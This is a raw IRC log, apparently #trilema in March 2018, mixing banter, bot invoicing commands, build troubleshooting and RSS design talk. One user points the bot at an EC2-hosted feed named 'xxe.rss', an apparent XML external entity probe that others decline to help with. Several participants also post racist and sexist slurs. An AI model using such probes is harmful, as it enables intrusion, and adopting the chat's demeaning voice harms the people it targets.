1789755;1522082044;mircea_popescu;lmao why wait for the shitting, why not selectively teleport out of colon ?
1789756;1522082054;asciilifeform;i dun recall if it was told, which.
1789757;1522082055;mircea_popescu;might even have anus removed, make some really great futurecitizens
1789758;1522082057;asciilifeform;but the basic idea.
1789759;1522082061;mircea_popescu;"you can't even shit without us"
1789760;1522082070;asciilifeform;right, that's exactly it.
1789761;1522082085;asciilifeform;and they would, betcha, if they could.
1789762;1522082091;mircea_popescu;i expect it's where it's headed. already produced vast herds of dependent idiots who 100% couldn't feed self without the empire.
1789763;1522082167;asciilifeform;how else can there ever even be any empire. ( yer skin cells can't feed themselves outside of the skin either )
1789764;1522082176;mircea_popescu;asciilifeform but the most pantsuit part of this story is what they left out. WHERE is it teleported TO ? does the ship leave droppings, like mice ?
1789765;1522082183;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-2-14#303288 << pantsuit progress, today as in stardate whatever.
1789766;1522082183;mimisbrunnr;Logged on 2018-02-14 14:18 mircea_popescu: MEANWHILE, however, they have 100% unaccounted for the time externality. so basically it's a contest consisting of a guy without legs going about finding fault with people's fingers. because he's decided "legs don't count", and so as he has much better hands than the rest of those losers he should be captain of the football team.
1789767;1522082215;asciilifeform;would have to ask an aficionado. but iirc the notion was, they sort the atoms by element and stack up for... kitchen
1789768;1522082236;mircea_popescu;if so, why even bother with travel at all.
1789769;1522082274;asciilifeform;iirc orig one was 'to find fuckable green humanoids' or the like
1789770;1522082282;asciilifeform;very 1960s-flavoured
1789771;1522082319;mircea_popescu;could just stack kitchen appliances into fuckable shape...
1789772;1522082888;BingoBoingo;http://btcbase.org/log/2018-03-26#1789695 << Speaking of, Peru sounds very promising for Gringos who like their girls short
1789773;1522082888;a111;Logged on 2018-03-26 15:30 mircea_popescu: but you also aren't sexually promiscuous with teenagers and young adults.
1789774;1522082900;BingoBoingo;<mircea_popescu> asciilifeform but the most pantsuit part of this story is what they left out. WHERE is it teleported TO ? does the ship leave droppings, like mice ? << To the kitchen naturally, recycling
1789775;1522083470;mircea_popescu;in other lulz from the nursery, "stereotypes are bad" "isn't that a stereotype ?"
1789776;1522083543;BingoBoingo;lol
1789777;1522084368;deedbot;http://qntra.net/2018/03/pantsuit-disarmament-march-eclipsed-in-popular-headlines-by-opposition-from-musicians-killa-mike-and-bataclan-survivor-jesse-hughes-call-for-sanity/ << Qntra - Pantsuit Disarmament March Eclipsed In Popular Headlines By Opposition From Musicians: Killa Mike And Bataclan Survivor Jesse Hughes Call For Sanity
1789778;1522084398;mircea_popescu;lol!
1789779;1522084406;mircea_popescu;BingoBoingo yound ?
1789780;1522084423;BingoBoingo;fxd
1789781;1522084448;mircea_popescu;so much win. nice to have the herald around again!\
1789782;1522084477;BingoBoingo;tyvm
1789783;1522084485;BingoBoingo;A couple other typos spotted an killed
1789784;1522084710;BingoBoingo;And so that it is entered into the record, Killer Mike is a rapper beloved by black people and nearly unknown by the category of people who consider themselves "cucked white allies"
1789785;1522084728;mircea_popescu;point in case, i never heard o' him.
1789786;1522084766;mircea_popescu;then again the only black rapper i could name is the real slim shady.
1789787;1522084832;trinque;BingoBoingo: *chopping off
1789788;1522084850;BingoBoingo;ty fxd
1789789;1522084860;trinque;good stuff. guess I'll have to listen to some eagles of death metal now.
1789790;1522084879;mircea_popescu;is that a rapper ?
1789791;1522084909;BingoBoingo;mircea_popescu: That's the rock band of the guys who survived the moslem concert massacre in paris
1789792;1522084918;mircea_popescu;a
1789793;1522084945;BingoBoingo;Anyways, trends seems to be pantsuits losing pop culture
1789794;1522084957;mircea_popescu;"discovering they never owned"
1789795;1522085073;BingoBoingo;In other pantsuit failures "I wanted to tear my hair out. HOW CAN YOUR RACE NOT BE THE BIGGEST PART OF WHO YOU ARE, I wanted to scream. DO YOU NOT KNOW YOUR HISTORY? WHY WILL YOU NOT LET ME TEACH YOU?" >> "Would it have been different if I was black rather than brown?"
1789796;1522085082;BingoBoingo;From https://www.insidehighered.com/blogs/conversations-diversity/how-far-should-i-go-get-you-%E2%80%98woke%E2%80%99
1789797;1522086881;mircea_popescu;it won't load ; and archive fails with "assertion failed"
1789798;1522086924;BingoBoingo;did that for me too, short of it is loser kid bothered that high achieving black kid wanted nothing to do with his movement
1789799;1522086935;mircea_popescu;heh
1789800;1522086984;mircea_popescu;all that carefully crafted tower of narcisism and self-absorbtion (they prefer to call it "intellectual property")! how cruel and unfair that the world doesn't give a damn!
1789801;1522086985;mircea_popescu;RAGEEE
1789802;1522086998;BingoBoingo;http://p.bvulpes.com/pastes/1ICyR/?raw=true
1789803;1522087034;BingoBoingo;^ Ah, bonus I didn't notice until pasting the text. Author's name is PATEL!!! A wild PREEET
1789804;1522087105;BingoBoingo;"I credit that group with creating my identity consciousness. Before that, I was a brown kid that wanted to be white. Eusa Nia (Swahili for Black Purpose) got me."
1789805;1522087167;mircea_popescu;so now he's a scumbag who's trying to eat out of getting people to be colors ?
1789806;1522087169;mircea_popescu;progress.
1789807;1522087208;mircea_popescu;why the fuck are all the wiggers so enamoured with swahili anyway ? there's actual languages in africa.
1789808;1522087217;mircea_popescu;swahili isn't one of them.
1789809;1522087219;BingoBoingo;Like Dutch!
1789810;1522087262;BingoBoingo;<mircea_popescu> swahili isn't one of them. << Swahili's the one Soviet allies in US academia were directed to, likely because not a language
1789811;1522087266;mircea_popescu;whole lotta "france got me! i'm a phrancophone! i only eat at French's diner in wisconsin."
1789812;1522087385;mircea_popescu;BingoBoingo kinda arabic-lite, for the 80iq-ish folk.
1789813;1522087429;mircea_popescu;that's the other thing : if they're so fucking enamoured with it, why the fuck are they torturing it with latin notation ?!
1789814;1522087437;BingoBoingo;Ah, a sort of Dominican-Spanish
1789815;1522087456;mircea_popescu;more like the east azn english pigdins
1789816;1522087502;BingoBoingo;Ah
1789817;1522087560;BingoBoingo;That's kinda what I understand Dominican Spanish to be. I kind of have an overview of Immigration to Uruguay post half baked in my head. Need to sit down and shove it through the keyboard.
1789818;1522087595;BingoBoingo;Not a process post, but a who is coming in post.
1789819;1522087596;asciilifeform;how come nobody signs up to learn, say, igbo, native tongue of the illustrious prince419mbwembwembwe...
1789820;1522087630;*;asciilifeform was actually assigned it in last yr of linguistics at uni. remembers today : 0
1789821;1522087640;mircea_popescu;asciilifeform they just like it for the usual exam-taking reasons, it's possibly the least different from english thing out there.
1789822;1522087658;mircea_popescu;amusingly, lcd languages forced by the needs of commerce end up ~same.
1789823;1522087919;BingoBoingo;<mircea_popescu> amusingly, lcd languages forced by the needs of commerce end up ~same. << This heruistic collapses neatly to the English language used locally, strictly the subset needed by Brasileros and Uruguayos to do commerce.
1789824;1522088343;asciilifeform;eng. linguists used to call 'lcd language' , a 'pidgin' ( not to be confused with the homophonic bird ) , but iirc this term is now pantsuit-verboten
1789825;1522088396;asciilifeform;phunphakt, even decade++ ago, asciilifeform nearly came to blows with pantsuit-professor over elementary fact that some languages considerably less expressive, esp in re civilized approach to philosophy, than others
1789826;1522088408;asciilifeform;the new Official truth was already being enacted.
1789827;1522088659;BingoBoingo;Hey, I was shocked when I found out the Yumbo Cargo is a factory model and not a local hack http://archive.is/nJ1ML
1789828;1522088727;BingoBoingo;Upon arrival "Look at that chop job, a motorcycle with a truck bed"
1789829;1522088754;BingoBoingo;After more time and more seen in the wild, Ah, the chicoms SELL these things here already configured thusly
1789830;1522089736;mircea_popescu;asciilifeform so what, all languages can bear shakespeare ? jamaican y compris ?
1789831;1522089762;asciilifeform;according to these monkeys
1789832;1522089769;asciilifeform;dun ask me how.
1789833;1522089803;mircea_popescu;heh.
1789834;1522089817;mircea_popescu;http://trilema.com/2016/there-has-not-yet-been-seen-a-simple-thing-even-if-were-drowning-in-simple-people/
1789835;1522089927;mircea_popescu;BingoBoingo the chinese are the ultimate body shop ppls.
1789836;1522090148;BingoBoingo;mircea_popescu: Seriously. Their dominance of the vehicle market here is astounding. Yumbo, Baccio, Geely. And so damn many polleritas (underbone motorcycles)
1789837;1522091883;lobbes;mircea_popescu: 'logs.minigame.bz' no longer seems to resolve to '192.121.170.137'  (at least on my end)
1789838;1522091900;lobbes;actually, for that matter 'http://minigame.bz/' no longer resolves for me either O.o
1789839;1522092455;mircea_popescu;uh
1789840;1522092624;mircea_popescu;myeah, server's gone.
1789841;1522092633;mircea_popescu;asciilifeform when was your flight over to paraguay ?
1789842;1522092901;asciilifeform;shopping for it atm actually
1789843;1522092906;asciilifeform;and uru-
1789844;1522092908;asciilifeform;rather than para-
1789845;1522092918;mircea_popescu;a yea
1789846;1522092930;asciilifeform;( anybody been to para- ? what's it like ? )
1789847;1522092957;mircea_popescu;bout same
1789848;1522092983;mircea_popescu;lobbes ima put it in the mar report ; but the short story is, server i supposedly bought in feb still not here by late march, minigame dun have a server now.
1789849;1522093022;mircea_popescu;data is backup-ed. as to when back online... well... talk to these people.
1789850;1522093289;BingoBoingo;<asciilifeform> ( anybody been to para- ? what's it like ? ) << From what I hear much hotter and poorer. It is the lawless land where Uruguayos go for cheap vacations.
1789851;1522093308;asciilifeform;hotter from lack of sea ?
1789852;1522093312;BingoBoingo;Yeah
1789853;1522093363;BingoBoingo;They have a fairly important river, but more like the Mississippi and less of a wide "is this a river or sea" thing like the Rio de la Plata
1789854;1522093438;BingoBoingo;And when the US was having its civil war Brasil, Argentina, and Uruguay went into Paraguay and fucked their shit up as a bonding experience.
1789855;1522093564;BingoBoingo;From about 1800 through 1880 there's some interesting history in this region. And then the Italians came.
1789856;1522093674;mircea_popescu;heh.
1789857;1522094642;mircea_popescu;asciilifeform let me know when you've bought ; gotta stamp diana_coman 's vacation form.
1789858;1522094656;diana_coman;lol!
1789859;1522094694;mircea_popescu;all right an' proper like a real corp over here.
1789860;1522094713;diana_coman;you stamp it, I stomp it ; will find someone to chew it too
1789861;1522098612;phf;http://btcbase.org/log/2018-03-26#1789697 << not as hot as palm springs (which is full blown summer at this point), but basically spring. it was raining last week, but right now it's a shirt weather. if you're close to the ocean, then it's blowing cold wind. what i'm trying to say is that the weather is excellent, and i'm loathing going back to the swamps.
1789862;1522098612;a111;Logged on 2018-03-26 15:30 asciilifeform: ( hey phf , how is kanzureistan this time of year ? )
1789863;1522098850;phf;i took a long walk over sf hills, and wanted to take an ocean dip at the end, but the last 15km on the way to the ocean were on flats, with a piercing cold wind. i was cold wearing a shirt and a sweater, so no swimming, but still it was a pleasant walk. there's really nothing bad to say about the weather here.
1789864;1522100562;BingoBoingo;asciilifeform: And we are solidly in autumn temperatures. Short sleeves are fine during the day, jacket may be desirable at night. The wind is starting to get a little bit of bite.
1789865;1522105500;deedbot;http://qntra.net/2018/03/europol-arrests-unnamed-man-for-politely-persuading-eurobanks-to-part-with-cash/ << Qntra - Europol Arrests Unnamed Man For Politely Persuading Eurobanks To Part With Cash
1789866;1522117837;mircea_popescu;asciilifeform http://p.bvulpes.com/pastes/RGqSt/?raw=true
1789867;1522118398;mircea_popescu;in other proceedings, i met hanbot for drinks at the blue marlin (local brothel), where we watched teen hussies duke it out. literally : uconn beat the shit out of south carolina (all black girls, for maximum lulz. a tall lanky one even cried!).
1789868;1522118509;mircea_popescu;i taught her a lesson in handicapping of magnificent splendour rarely seen : halfway through last quarter, the score being 80 (to 40 something) i asked her whether they clear 94. no way. she bet me, and well...
1789869;1522118599;mircea_popescu;betting can make anything interesting.
1789870;1522121156;mircea_popescu;!!up douchebag
1789871;1522121157;deedbot;douchebag voiced for 30 minutes.
1789872;1522121188;douchebag;Alright, is the !!subscribe function working currently?
1789873;1522121194;douchebag;for deedbot
1789874;1522121209;mircea_popescu;!#s "!!subscribe"
1789875;1522121209;a111;19 results for "\"!!subscribe\"", http://btcbase.org/log-search?q=%22!!subscribe%22
1789876;1522121249;douchebag;!!subscribe http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/xxe.rss
1789877;1522121250;deedbot;douchebag subscription to http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/xxe.rss failed
1789878;1522121254;douchebag;See?
1789879;1522121272;mircea_popescu;what am i seeing ?
1789880;1522121287;douchebag;It failed
1789881;1522121307;douchebag;And I'm not sure why it's failing, I'm not even reciving the request in the access logs
1789882;1522121308;mircea_popescu;hey, i'm getting comments feed from trilema erry day.
1789883;1522121388;douchebag;weird
1789884;1522121458;douchebag;mircea_popescu: Could you try subscribing to that feed? Incase it's because my account doesn't have permission?
1789885;1522121488;mircea_popescu;but this is a fundamental part of the security model.
1789886;1522121546;douchebag;Yeah I realize that, I just read up on a new technique and I'm geniunely interested to see if it's successful
1789887;1522121570;mircea_popescu;trinque might do it if he feels like it.
1789888;1522126466;ave1;re: http://btcbase.org/log/2018-03-26#1789669, yes i do.
1789889;1522126466;a111;Logged on 2018-03-26 14:22 mircea_popescu: re http://trilema.com/2018/the-rivers-of-blood-article-or-the-lordship-list-fifth-year/ << spyked ave1 do you even want to be l1'd ?
1789890;1522128068;ben_vulpes;!!deed http://p.bvulpes.com/pastes/9gtOS/?raw=true
1789891;1522128069;deedbot;accepted: 1
1789892;1522128106;ben_vulpes;mod6: please approve ^^ and ping teh treasurer for payment
1789893;1522128414;ben_vulpes;!!invoice trinque 0.00890489 pro-rated march hosting
1789894;1522128420;deedbot;Get your OTP: http://p.bvulpes.com/pastes/TlV44/?raw=true
1789895;1522128452;ben_vulpes;!!v E132D04C2B6FCB8A9BC5736A369297E0EE4E6533B6DB58FBCAC78A2E571790A5
1789896;1522128456;deedbot;Invoiced trinque 0.00890489 << pro-rated march hosting
1789897;1522128482;ben_vulpes;!!invoice trinque 0.11985394 server couriering
1789898;1522128487;deedbot;Get your OTP: http://p.bvulpes.com/pastes/6n9le/?raw=true
1789899;1522128505;ben_vulpes;!!v 0D700B85EA72DF84CC0400E6947C3662D752AB337F7875B6E030916ADAB4E39F
1789900;1522128508;deedbot;Invoiced trinque 0.11985394 << server couriering
1789901;1522128647;mod6;ben_vulpes: sure, I'll look this over and get back to you.
1789902;1522129584;ben_vulpes;!!invoice hanbot .00067742 pro-rated march shared hosting
1789903;1522129590;deedbot;Get your OTP: http://p.bvulpes.com/pastes/uWmQ5/?raw=true
1789904;1522129620;ben_vulpes;!!v 678DCA5FB9BE021DB7EDF4FB2EBD286217B0F68264E04268BF7FE9D397FEB902
1789905;1522129624;deedbot;Invoiced hanbot .00067742 << pro-rated march shared hosting
1789906;1522129633;ben_vulpes;!!invoice lobbes .00067742 pro-rated march shared hosting
1789907;1522129637;deedbot;Get your OTP: http://p.bvulpes.com/pastes/UXleP/?raw=true
1789908;1522129654;ben_vulpes;!!v 8A2623E1A3F6A1A287AC79772D9EC3A3CE84FE941CE8A9FB81983BEA9693E573
1789909;1522129657;deedbot;Invoiced lobbes .00067742 << pro-rated march shared hosting
1789910;1522129688;ben_vulpes;spam over, thank you for your patience
1789911;1522129867;mircea_popescu;you know you should probably consolidate invoices, it'\s a pain in the ass to pay the same person 3 or n times in the same day/week
1789912;1522132140;ben_vulpes;mircea_popescu: i suppose the thing to do is invoice once with a link to the deeded linen items
1789913;1522132190;ben_vulpes;in other news, i think that fare broke the "simple-date" behavior in the cl "postmodern" postgresql client library
1789914;1522132229;ben_vulpes;> Fix .asd files so they work well with ASDF 3.3
1789915;1522132257;ben_vulpes;another delightful play date with little georgie open soros
1789916;1522133117;deedbot;http://deedbot.org/bundle-515352.txt
1789917;1522133761;mircea_popescu;ben_vulpes not such a good idea to introduce more moving parts. but simply "n = x for a + y for b + z for c"
1789918;1522133804;ben_vulpes;makes sense
1789919;1522135169;mircea_popescu;and in other postmodern wonders, where japanese pixels meet http://logs.bvulpes.com/trilema?d=2018-3-26#319805 ; or self-resolving inadequacy : https://chastityandcensorship.tumblr.com/
1789920;1522135169;mimisbrunnr;Logged on 2018-03-26 15:36 mircea_popescu: somehow, notwithstanding how san fernando valley dominated hollywood for half of the 80s and most of the 90s, the mpaa still reflects "the movie industry" views of state st, rather than either hollywood or porn valley.
1789921;1522135286;mircea_popescu;i would suppose this is why http://logs.bvulpes.com/trilema?d=2017-11-3#232863 ; and apparently it fucking works, too. maybe if they get bored enough they'll self-vacupack and http://logs.bvulpes.com/trilema?d=2017-11-8#235412
1789922;1522135286;mimisbrunnr;Logged on 2017-11-03 12:31 asciilifeform: i still dun fully grasp the middle kingdom's 'feed the enemy until he dies of old age' philosophy, so cannot comment
1789923;1522135568;ben_vulpes;http://logs.bvulpes.com/search?q=from%3Amircea_popescu+tits&c=trilema
1789924;1522136108;ben_vulpes;(mircea_popescu: "fromsearch" is live on my loggotron)
1789925;1522136440;spyked;http://btcbase.org/log/2018-03-26#1789669 <-- of course, I'd be glad to! though I agree with diana_coman's observation that I'm a candidate but maybe not fit for lordship yet (perhaps a superfluous comment on my part, but since you asked)
1789926;1522136440;a111;Logged on 2018-03-26 14:22 mircea_popescu: re http://trilema.com/2018/the-rivers-of-blood-article-or-the-lordship-list-fifth-year/ << spyked ave1 do you even want to be l1'd ?
1789927;1522137784;mircea_popescu;oty!
1789928;1522142747;ben_vulpes;aha, yw
1789929;1522164814;ave1;diana_coman: It seems that links posted my reply halfway, feel free to delete this one http://www.dianacoman.com/2018/01/11/eucrypt-chapter-5-c-m-e-mod-n/#comment-1132
1789930;1522165099;mircea_popescu;ben_vulpes : http://logs.bvulpes.com/trilema?d=2018-3-27#320135 << it should read both lines.
1789931;1522165099;mimisbrunnr;Logged on 2018-03-27 07:13 mimisbrunnr: Logged on 2017-11-03 12:31 asciilifeform: i still dun fully grasp the middle kingdom's 'feed the enemy until he dies of old age' philosophy, so cannot comment
1789932;1522165200;ben_vulpes;mircea_popescu: why so it should
1789933;1522166741;mircea_popescu;ben_vulpes http://logs.bvulpes.com/search?q=walk+dogs&c=trilema
1789934;1522166832;ben_vulpes;mircea_popescu: thx
1789935;1522166844;ben_vulpes;pfff
1789936;1522166846;ben_vulpes;k
1789937;1522168095;deedbot;http://trilema.com/2018/the-snows-of-ten-years-ago-almost/ << Trilema - The snows of ten years ago (almost)
1789938;1522168462;ben_vulpes;mircea_popescu: fixed, ty. i'll get to the multiple-links thing later
1789939;1522168468;mircea_popescu;np
1789940;1522168816;deedbot;http://qntra.net/2018/03/militia-veteran-of-oregon-liberation-campaign-ryan-bundy-running-for-nevada-governorship/ << Qntra - Militia Veteran Of Oregon Liberation Campaign Ryan Bundy Running For Nevada Governorship
1789941;1522168899;mircea_popescu;aaaahahaha
1789942;1522168935;BingoBoingo;250 signatures is the bar for getting his name printed on the ballot. Bring da sutures for da pantsuit buttleakx
1789943;1522168953;mircea_popescu;that country's a whole other level of comedy gold.
1789944;1522169003;mircea_popescu;it'ds also strictly speaking not quite incoinceivable he actually wins. nevada is small.
1789945;1522169018;BingoBoingo;The best part is this isn't even the photogenic brother. This is the one whose face got run over by a car and droops. But yes he can win.
1789946;1522169043;BingoBoingo;Nevada is small except for the part where it holds vegas... Very winnable.
1789947;1522169059;mircea_popescu;depends how the campaign goes. but if people turn out to actually give a shit about "stood up in arms to federal govt and won", heck, he's got it.
1789948;1522169212;BingoBoingo;Right, nothing's a sure thing. Pantsuit is eating their Facebook of all things. US politics is getting deliciously weird on the way to the flush.
1789949;1522169560;asciilifeform;mircea_popescu: http://p.bvulpes.com/pastes/u8IKs/?raw=true
1789950;1522171199;mircea_popescu;asciilifeform http://p.bvulpes.com/pastes/WHHmi/?raw=true
1789951;1522171304;asciilifeform;mircea_popescu: 1) worx, will set it up nao 2) got it, will set it up asap
1789952;1522171316;mircea_popescu;works.
1789953;1522171464;mircea_popescu;trinque could the deedbot be strengthened with a) a rss page on the site, along the lines of http://logs.bvulpes.com/trilema?d=2018-3-26#319646 ; whereby i can visit http://deedbot.org/6160E1CAC8A3C52966FD76998A736F0E2FB7B452/feed where all items of interest (incoming payments and invoices as well as deeds signed by me) are announced (as rsa encrypted to my key items) ?
1789954;1522171464;mimisbrunnr;Logged on 2018-03-26 01:41 mircea_popescu: incidentally, "every shop must have a website (with ssl everywhere!!!)" and "every customer must have a loyalty card" trends of useless nonsense somehow haven't converged to the most basic sanity of, "give us your rsa pubkey, then download your data from our website whenever you want to, just go to shop.com/yourname"
1789955;1522171490;mircea_popescu;then b) becomes just having the bot subscribe to that feed.
1789956;1522171978;trinque;pretty hesitant to continue to build the republican dependency on the web browser.
1789957;1522172008;mircea_popescu;where does this depend on browser ?
1789958;1522172026;mircea_popescu;or do you mean take the rss thing out altogether ?
1789959;1522172101;hanbot;p.bvulpes.com/pastes/Sqn1u/?raw=true << anyone else ever seen this wonder?
1789960;1522172125;mircea_popescu;hanbot wtf ?
1789961;1522172136;mircea_popescu;i presume you have phf's key in ?
1789962;1522172146;hanbot;in .wot, i do.
1789963;1522172160;mircea_popescu;same behaviour for all nodes or just that ?
1789964;1522172162;asciilifeform;this looks like a classic missing-commandline-util barf
1789965;1522172167;asciilifeform;most likely sha512
1789966;1522172177;trinque;mircea_popescu: depends on "web" I should've said. I'd sooner skip the RSS feed part and have the bot directly message folks when interesting things happen. the usefulness of this is blunted by the fact that currently gossipd is implemented by gpg-paste.
1789967;1522172180;hanbot;just that node, mircea_popescu
1789968;1522172188;asciilifeform;( iirc mod6 introduced a check in a recent edition of his vtron, but possible that hanbot has the old one ? )
1789969;1522172211;hanbot;i do have the old mod6 vtron, i'll look @ new, ty asciilifeform
1789970;1522172238;mircea_popescu;trinque there's two layers here. layer 1 : there's a lot of flexibility in letting it be rss ; i can have a rss reader read it for me rather than put all failure points in freenode-dns.
1789971;1522172294;mircea_popescu;layer 2, the general point : rss is very visible an irc-driven reaction to web idiocy. it's the web-less-est thing on the web, and for the very plain and evident consideration tha the web is wrong, EXACTLY in the way discussed here re alphabet etc, "do not ye pretend to tell the user how to display data".
1789972;1522172300;asciilifeform;hanbot: waitasec
1789973;1522172308;asciilifeform;hanbot: mod6's old vtron did not support 'verbose'
1789974;1522172317;mircea_popescu;i suspect that however you turn it, something LIKE rss we will have to have, and that like is so close as to not make the killing worth the bullets.
1789975;1522172324;trinque;mircea_popescu: this and also "I can't push you anything"
1789976;1522172325;asciilifeform;hanbot: so your press head in the args ended up word 'verbose'
1789977;1522172327;mircea_popescu;but i'd like to discuss this.
1789978;1522172360;trinque;certainly the thing is needed in the abstract. service exists and user wants a stream of happenings.
1789979;1522172378;mircea_popescu;right.
1789980;1522172382;trinque;just want to cogitate on which implementation will least obstruct future sanity
1789981;1522172394;mircea_popescu;then this makes it open season for that.
1789982;1522172715;mircea_popescu;nice catch there asciilifeform lolz
1789983;1522172804;hanbot;ooo ty asciilifeform, quite right. now how did i end up with old vtron and new usermanual, lol
1789984;1522172926;hanbot;oh man, you have any idea how much time you prolly just saved me? phew
1789985;1522172950;asciilifeform;np hanbot
1789986;1522173668;mircea_popescu;in other lulz, did you know pigs actually have lower fat ratios than human females ? 70% or so muscle dem ripped oinkers.
1789987;1522173951;BingoBoingo;Pigs also do more bad sports drugs than most ballsketsport players
1789988;1522173968;mircea_popescu;wait a damned second.
1789989;1522173992;mircea_popescu;phf does your new vdiff (that's supposed to introduce keccak into the build flow) actually REQUIRE the presser ALREADY HAVE keccak ?
1789990;1522174413;deedbot;http://www.thedrinkingrecord.com/2018/03/27/human-migration-in-uruguay/ << Bingo Blog - Human Migration In Uruguay
1789991;1522175878;asciilifeform;!!up fromloper
1789992;1522175878;deedbot;fromloper voiced for 30 minutes.
1789993;1522177607;phf;http://btcbase.org/log/2018-03-27#1789989 << no, it's diffed with sha512 differ (a keccak vpatch wouldn't link into existing graph either, since hashes won't match)
1789994;1522177607;a111;Logged on 2018-03-27 18:06 mircea_popescu: phf does your new vdiff (that's supposed to introduce keccak into the build flow) actually REQUIRE the presser ALREADY HAVE keccak ?
1789995;1522177639;phf;vtools graph that's on btcbase is all sha512
1789996;1522178096;phf;(but just to further clarify, vtools patchset is all SHA512, so pressing it will work with all the existing tooling. vtools's vdiff can be pressed to have either keccak or sha512 support. vtools's vpatch at the moment can be pressed to have keccak support only.)
1789997;1522178296;phf;right now keccak/sha512 vpatches are not differentiated in any way, so having both of them in the same workflow might result in confusion (in fact it did when i was testing things at some point). it might be worthwhile to introduce some kind of hash tagging scheme, eg keccak:<hash> vs sha512:<hash> and keep <hash> without prefix as sha512 for legacy reasons.
1789998;1522178411;phf;i've avoided any particular scheme, because it might introduce equivalence that doesn't exist. sha512 as an "alternative" vs. sha512 as aggressively deprecated.
1789999;1522178434;mod6;<+hanbot> p.bvulpes.com/pastes/Sqn1u/?raw=true << anyone else ever seen this wonder? << you're missing a output directory
1790000;1522178460;mod6;<+asciilifeform> hanbot: mod6's old vtron did not support 'verbose' << pretty sure always did -- at least going back 2 years, aha.
1790001;1522178518;mod6;hanbot: should have been, perhaps: ./v.pl p v vtools vtools-vpatch.vpatch
1790002;1522178533;mod6;or if you'd rather: ./v.pl press verbose vtools vtools-vpatch.vpatch
1790003;1522178659;mod6;(where 'vtools' is the press output directory)
1790004;1522182472;mod6;<+hanbot> ooo ty asciilifeform, quite right. now how did i end up with old vtron and new usermanual, lol << oh, herp, didn't even see this.
1790005;1522183950;mod6;http://trilema.com/2018/the-rivers-of-blood-article-or-the-lordship-list-fifth-year/#comment-125099
1790006;1522184288;mod6;http://btcbase.org/log/2018-03-27#1789892 << looks good to me ben_vulpes.
1790007;1522184288;a111;Logged on 2018-03-27 05:21 ben_vulpes: mod6: please approve ^^ and ping teh treasurer for payment
1790008;1522184595;mod6;jurov^ The above is a Pizarro invoice for services rendered to The Bitcoin Foundation during the Month of March.  Please remit the amount indicated to the address indicated in the deed.  Thanks in advance!  Please let me know if you have any questions.
1790009;1522185226;jurov;okay
1790010;1522185461;mircea_popescu;phf cool. and yeah, keeping an eye on this for now.
1790011;1522188567;shinohai;http://logs.bvulpes.com/trilema?d=2018-3-27#320406  <<< and I thank you for the hours of instruction not only on trb, but V as well. Has been a pleasure and an honour, Sir! o7
1790012;1522188567;mimisbrunnr;Logged on 2018-03-27 20:44 mod6: http://trilema.com/2018/the-rivers-of-blood-article-or-the-lordship-list-fifth-year/#comment-125099
1790013;1522190537;phf;moar wrecker crypto code found in build stack here https://p11-glue.github.io/p11-glue/
1790014;1522190729;mod6;shinohai: yvw
1790015;1522190731;asciilifeform;phf: where exactly in build stack ?
1790016;1522190851;phf;asciilifeform: building weechat on a work laptop using homebrew. i mean, that's deep behind enemy lines, so it's not surprising, but i'm fascinated by the increasing levels of fail
1790017;1522190909;asciilifeform;aah sslism
1790018;1522213159;hanbot;"$ make vpatch gprbuild -Pvpatch.gpr make: gprbuild: Command not found make: *** [vpatch] Error 127" << is this https://www.jamf.com/jamf-nation/discussions/17322/problems-with-good-scripts-failing-exit-code-127 then?
1790019;1522213384;mircea_popescu;ugh.
1790020;1522213392;mircea_popescu;it's certainly the "things work" thing.
1790021;1522213477;mircea_popescu;hanbot anyway, are you using jam/ftjam or what's the connection ? leftover build process from eulora basically ?
1790022;1522213524;mircea_popescu;(bash) error 127 just means the command's not found in your path.
1790023;1522213642;hanbot;i haven't put together anything special for ada yet. what was that supposed to be, install gnat (which ?)?
1790024;1522213672;mircea_popescu;mmm pretty sure diana_coman has a holy gnat incarnation somewhere, part of the eucrypt writeup.
1790025;1522214171;hanbot;phf listen, i failed to anticipate my build environment being incapable of making yer patcher. wouldja mind sharing how you put together what you compiled your keccak vpatch with?
1790026;1522214772;mircea_popescu;in other ancient t-lulz asciilifeform might've missed, http://trilema.com/2011/bai-deci-m-am-indragostit-de-un-barbat/
1790027;1522219976;diana_coman;hanbot, if it's an ada project, you don't need make, just go "gprbuild" in its dir
1790028;1522219987;diana_coman;(it'll even figure out which .gpr you mean if it's only one)
1790029;1522219998;diana_coman;obv you need gnat; see here: http://www.dianacoman.com/2018/03/08/eucrypt-compilation-sheet/
1790030;1522220030;diana_coman;(I mirrored the gnat I recommend too, given previous experience with everything pretty much)
1790031;1522221976;jurov;mod6: ben_vulpes: invoice paid
1790032;1522250645;*;asciilifeform bought his tickets to BingoBoingostan
1790033;1522251125;BingoBoingo;asciilifeform: Welcome
1790034;1522253393;mod6;jurov: Excellent, thank you!
1790035;1522254961;BingoBoingo;Hollywood whistleblower Corey Feldman maybe stabbed? https://archive.is/CLM2L
1790036;1522255059;mod6;heh
1790037;1522255289;mircea_popescu;with a pencildick or ?
1790038;1522256370;BingoBoingo;Well, during the 1980's
1790039;1522256383;BingoBoingo;Charlie Sheen's and maybe Martin's too
1790040;1522256625;mircea_popescu;heh
1790041;1522257922;hanbot;<diana_coman> obv you need gnat; see here: http://www.dianacoman.com/2018/03/08/eucrypt-compilation-sheet/ << thanks for the pointer --looks like relevant gnat & shasum 404 though?
1790042;1522258132;diana_coman;hanbot, try it now; wp messed up the link, gah
1790043;1522258307;hanbot;yeah, dling nao, thanks
1790044;1522259863;mod6;How's it goin today all?
1790045;1522259904;*;mod6 feels much better after a nasty round of food poisoning
1790046;1522260162;mircea_popescu;ow
1790047;1522260164;mircea_popescu;seafood ?
1790048;1522260302;mod6;naw, eggs :/
1790049;1522260306;mod6;(i speculate)
1790050;1522260337;mod6;it /is/ possible that it could have been some ahi tuna from the day previous.  but no one else who ate it got sick.
1790051;1522260340;mod6;so, maybe?
1790052;1522261665;mircea_popescu;nah, not over a day like that.
1790053;1522261670;mircea_popescu;eggs can totally do it though.
1790054;1522261697;mircea_popescu;in other unrelated not-news, "gun crazy" is a terrible "film". just thought nobody'd like to know.
1790055;1522263915;lobbes;!!pay-invoice ben_vulpes 1
1790056;1522263923;deedbot;Get your OTP: http://p.bvulpes.com/pastes/G0aZK/?raw=true
1790057;1522263959;lobbes;!!v 4D9E62426F146A1493B9C37CD1076860ACF3BB9A0286332F3948EF9CE8AB661F
1790058;1522263963;deedbot;lobbes paid ben_vulpes invoice 1
